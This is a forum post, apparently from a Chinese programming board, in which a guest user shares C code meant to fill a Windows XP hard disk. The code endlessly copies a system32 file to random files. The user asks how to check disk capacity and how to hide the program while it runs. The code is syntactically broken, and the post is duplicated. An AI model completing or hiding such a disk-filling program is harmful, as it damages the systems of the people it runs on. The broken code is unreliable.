L
linuxcici
Unregistered / Unconfirmed
GUEST, unregistred user!
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
main()
{
char string[10000];
FILE *fp,*np;
int randome1;
char *ok;
char *change[1];
clrscr();
randomize();
while(1)
{
strcpy(change[0],"e://"
ok="aaaaaaaaaaaa";
randome1=random(10000);
itoa(randome1, ok, 10);
strcat(change[0],ok);
strcat(change[0],".txt"
printf("you will die : %s/n",change[0]);
if((fp=fopen("C://WINDOWS//system32//VFPODBC.txt","r+")==NULL)
{printf("sorry..linux,i can not open1"exit(0);}
if((np=fopen(change[0],"w")==NULL)
{printf("sorry..linux,i can not open2"exit(0);}
while(fgets(string,10000,fp)!=NULL)
{
fputs(string,np);
}
fclose(fp);
fclose(np);
}
}
此程序只对windows XP起作用,
原理是:
对windows里面的system32的一个文本文件自我复制到d盘,直到硬盘没有空间
,请高手帮我一个问题可以吗?
我想可以检测到硬盘容量的涵数,还有是怎样可以在运行时自动隐藏呢?
#include<stdlib.h>
#include<time.h>
main()
{
char string[10000];
FILE *fp,*np;
int randome1;
char *ok;
char *change[1];
clrscr();
randomize();
while(1)
{
strcpy(change[0],"e://"
ok="aaaaaaaaaaaa";
randome1=random(10000);
itoa(randome1, ok, 10);
strcat(change[0],ok);
strcat(change[0],".txt"
printf("you will die : %s/n",change[0]);
if((fp=fopen("C://WINDOWS//system32//VFPODBC.txt","r+")==NULL)
{printf("sorry..linux,i can not open1"exit(0);}
if((np=fopen(change[0],"w")==NULL)
{printf("sorry..linux,i can not open2"exit(0);}
while(fgets(string,10000,fp)!=NULL)
{
fputs(string,np);
}
fclose(fp);
fclose(np);
}
}
此程序只对windows XP起作用,
原理是:
对windows里面的system32的一个文本文件自我复制到d盘,直到硬盘没有空间
,请高手帮我一个问题可以吗?
我想可以检测到硬盘容量的涵数,还有是怎样可以在运行时自动隐藏呢?